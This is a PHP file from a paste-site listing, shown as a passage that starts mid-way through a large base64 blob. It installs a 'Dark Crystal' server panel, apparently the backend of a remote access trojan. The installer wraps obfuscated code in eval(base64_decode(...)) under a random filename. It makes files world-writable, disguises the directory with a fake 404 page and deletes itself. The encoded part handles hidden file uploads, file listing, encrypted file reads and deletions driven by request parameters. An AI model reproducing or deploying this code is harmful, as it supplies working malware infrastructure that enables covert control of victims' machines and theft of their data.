k3ODMyKDE2MCldIC5fNDc5MDk3ODMyKDE2MSkpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKHN0cnJldigkX1BPU1RbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTYyKV0gLl80NzkwOTc4MzIoMTYzKSldKSk7JF9fX19fX19fX19fX19fX19fX19fX19fXz1wYXRoaW5mbygkX19fX19fX19fX19fX19fX19fX19fX18pW180NzkwOTc4MzIoMTY0KV07aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBudWxsKXskX19fX19fX19fX19fX19fX19fX19fX19fPWV4cGxvZGUoJF9fX19fX19fXywkX19fX19fX19fX19fX19fX19fX19fX18pW3JvdW5kKDArMC41KzAuNSldO31pZighY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX19fX19fKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTY3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjgpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2OSlvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTcwKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNzEpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE3MilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTczKSlyZXR1cm47bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTc0KV0sJF9fX19fX18gLl80NzkwOTc4MzIoMTc1KSAuJF9fX19fX19fX19fX19fX19fX19fX19fKTt9aWYoIWVtcHR5KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3NildIC5fNDc5MDk3ODMyKDE3NykpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3OCldIC5fNDc5MDk3ODMyKDE3OSkpXSkpLHRydWUpO2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODApXSAuXzQ3OTA5NzgzMigxODEpKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTgyKSxfNDc5MDk3ODMyKDE4MyksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODQpXSAuXzQ3OTA5NzgzMigxODUpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODYpXSAuXzQ3OTA5NzgzMigxODcpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODgpXSAuXzQ3OTA5NzgzMigxODkpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzEwKzEwKzEwKzEwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkwKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5MSlvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTIpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTUpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTgpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDE5OSkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8obF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDIwMCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkgLiRfX19fX19fX19fX19fX19fX19fX19fLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO319aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMSldIC5fNDc5MDk3ODMyKDIwMikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fPWFycmF5KCk7JF9fX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMyldIC5fNDc5MDk3ODMyKDIwNCkpXSkpLHRydWUpOyRfX19fX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA1KV0gLl80NzkwOTc4MzIoMjA2KSldOyRfX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA3KV0gLl80NzkwOTc4MzIoMjA4KSldOyRfX19fX19fX19fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwOSldIC5fNDc5MDk3ODMyKDIxMCkpXTtpZigkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjEyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTcpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxOSkpcmV0dXJuOyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fPWdsb2IoJF9fX19fX18gLl80NzkwOTc4MzIoMjIwKSAuJF9fX19fX19fXyAuJF9fX19fX19fX19fX19fX19fX19fKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18peyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlbmFtZSgkX19fX19fX19fX19fX19fX19fLCRfX19fX19fX18gLiRfX19fX19fX19fX19fX19fX19fXyk7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fX19fX19fX19fX19fX19dW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyMSldIC5fNDc5MDk3ODMyKDIyMikpXT0kX19fX19fX19fX19fX19fX19fX19fX19fX19fX187aWYoJF9fX19fX19fX19fX19fX19fID09IHRydWUpeyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjMpXSAuXzQ3OTA5NzgzMigyMjQpKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX19fX19fX19fX19fXyksbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjUpXSAuXzQ3OTA5NzgzMigyMjYpKV09YmFzZTY0X2VuY29kZShkYXRlKF80NzkwOTc4MzIoMjI3KSxmaWxlbXRpbWUoJF9fX19fX19fX19fX19fX19fXykpKTskX19fX19fX19fX19fWyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX11bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjI4KV0gLl80NzkwOTc4MzIoMjI5KSldPWJhc2U2NF9lbmNvZGUoZGF0ZShfNDc5MDk3ODMyKDIzMCkpKTt9aWYoY291bnQoJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyk+cm91bmQoMCkpe2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyBhcyAkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzEpXSAuXzQ3OTA5NzgzMigyMzIpKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjMzKV0gLiRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX18gLl80NzkwOTc4MzIoMjM0KSAuJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC5zaGExKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pKSxtZDUoJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX19ZWNobyhzdHJyZXYoYmFzZTY0X2VuY29kZShqc29uX2VuY29kZSgkX19fX19fX19fX19fKSkpKTt9aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIzNSldIC5fNDc5MDk3ODMyKDIzNikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX189anNvbl9kZWNvZGUoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjM3KV0gLl80NzkwOTc4MzIoMjM4KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzkpXSAuXzQ3OTA5NzgzMigyNDApKV07JF9fX19fX19fX19fX19fX19fX19fX19fX19fX189Z2xvYigkX19fX19fXyAuXzQ3OTA5NzgzMigyNDEpIC4kX19fX19fX19fX19fX19fX19fXyAuJF9fX19fX19fXyAuXzQ3OTA5NzgzMigyNDIpKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18pe3VubGluaygkX19fX19fX19fX19fX19fX19fKTt9fX0=";
  10.     $code = base64_decode($src);
  11.     $code = str_replace("4464384df654985d17d3f8bb52d22584", $password, $code);
  12.     $code = str_replace("S3fseRewrstst", $folder_name, $code);
  13.     $encoded_code = base64_encode($code); // Encode the script without reversing
  14.     
  15.     // Generate a random file name (max 8 characters) for dokatkapidr.php
  16.     $random_filename = substr(bin2hex(random_bytes(5)), 0, 8) . ".php";
  17.     
  18.     $result = "<?php eval(base64_decode('" . $encoded_code . "')); ?>"; // Embed the encoded script
  19.  
  20.     function cfile_put_contents($path, $content){
  21.         file_put_contents($path, $content);
  22.         chmod($path, 0777);
  23.     }
  24.     cfile_put_contents(".htaccess", "php_value memory_limit 512M
  25.     php_value post_max_size 150000M
  26.     php_value upload_max_filesize 150000M
  27.     php_value max_input_vars 1800
  28.     php_value max_execution_time 300
  29.     php_value max_input_time 300");
  30.     
  31.     cfile_put_contents($random_filename, $result);
  32.  
  33.     cfile_put_contents("index.html", "<html><head>
  34.     <title>404 Not Found</title>
  35.     </head><body>
  36.     <h1>Not Found</h1>
  37.     <p>The requested URL was not found on this server.</p>
  38.     <hr>
  39.  
  40.     </body></html>");
  41.     cfile_put_contents("index.php", "<?php include(\"/opt/index.php\") ?>
  42.     ");
  43.     mkdir($folder_name, 0777);
  44.     cfile_put_contents($folder_name."/index.html", "<?php include(\"/opt/index.php\") ?>");
  45.  
  46.    // First convert to base64 then reverse from left to right
  47.    $encoded_filename = strrev(base64_encode(substr($random_filename, 0, -4))); 
  48.    
  49.    $output = "Installation successful. URL: http://" . $_SERVER['SERVER_NAME'] . "/@" . $encoded_filename;
  50.    unlink(__FILE__);
  51. }
  52. ?>
  53.  
  54.  
  55.  
  56. <html>
  57.  
  58. <head>
  59.     <title>DARK CRYSTAL SERVER INSTALLATION</title>
  60.     <style>
  61.         body {
  62.             background: linear-gradient(45deg, #292929 25%, transparent 25%, transparent 75%, #292929 75%), linear-gradient(45deg, #292929 25%, transparent 25%, transparent 75%, #292929 75%) 0.1875em 0.1875em, radial-gradient(at 50% 0, #484847, #090909);
  63.             background-size: 0em 0em, 0em 0em, 100% 100%;
  64.             height: 100vh;
  65.             margin: 0;
  66.         }
  67.         .center {
  68.             display: flex;
  69.             justify-content: center;
  70.             align-items: center;
  71.             height: calc(100vh - 2px);
  72.             border: 1px solid #666666;
  73.             box-sizing: content-box;
  74.             font: normal 16px/1 Tahoma, Geneva, sans-serif;
  75.             color: #cccccc;
  76.             flex-direction: column;
  77.         }
  78.         form {
  79.             display: flex;
  80.             flex-direction: column;
  81.             align-items: center;
  82.             justify-content: center;
  83.             width: 100%;
  84.         }
  85.         h1 {
  86.             font: bold 16px/1 Tahoma, Geneva, sans-serif;
  87.             color: #cccccc;
  88.             text-align: center;
  89.             margin-top: 0;
  90.         }
  91.     </style>
  92. </head>
  93.  
  94. <body>
  95.     <div class="center">
  96.         <h1>DARK CRYSTAL SERVER INSTALLATION</h1>
  97.         <?php if (isset($output)) { ?>
  98.             <p><?= $output ?></p>
  99.         <?php } else { ?>
  100.             <form action="" method="post" name="settingform">
  101.                 <input style="width: 300px; height: 30px; border: 1px solid #444; color: #fff; background: #1f1f1f; font-size: 15px; padding-left: 6px; padding-right: 6px; margin-top: 20px;" type="password" name="server_password" placeholder="Server Password">
  102.                 <input style="width: 300px; height: 30px; border: 1px solid #444; color: #fff; background: #1f1f1f; font-size: 15px; padding-left: 6px; padding-right: 6px; margin-top: 10px" type="submit" name="install" value="Install">
  103.             </form>
  104.         <?php } ?>
  105.     </div>
  106. </body>
  107.  
  108. </html>
File Description
  • 11
  • PHP Code
  • 28 Aug-2023
  • 27.19 Kb
You can Share it: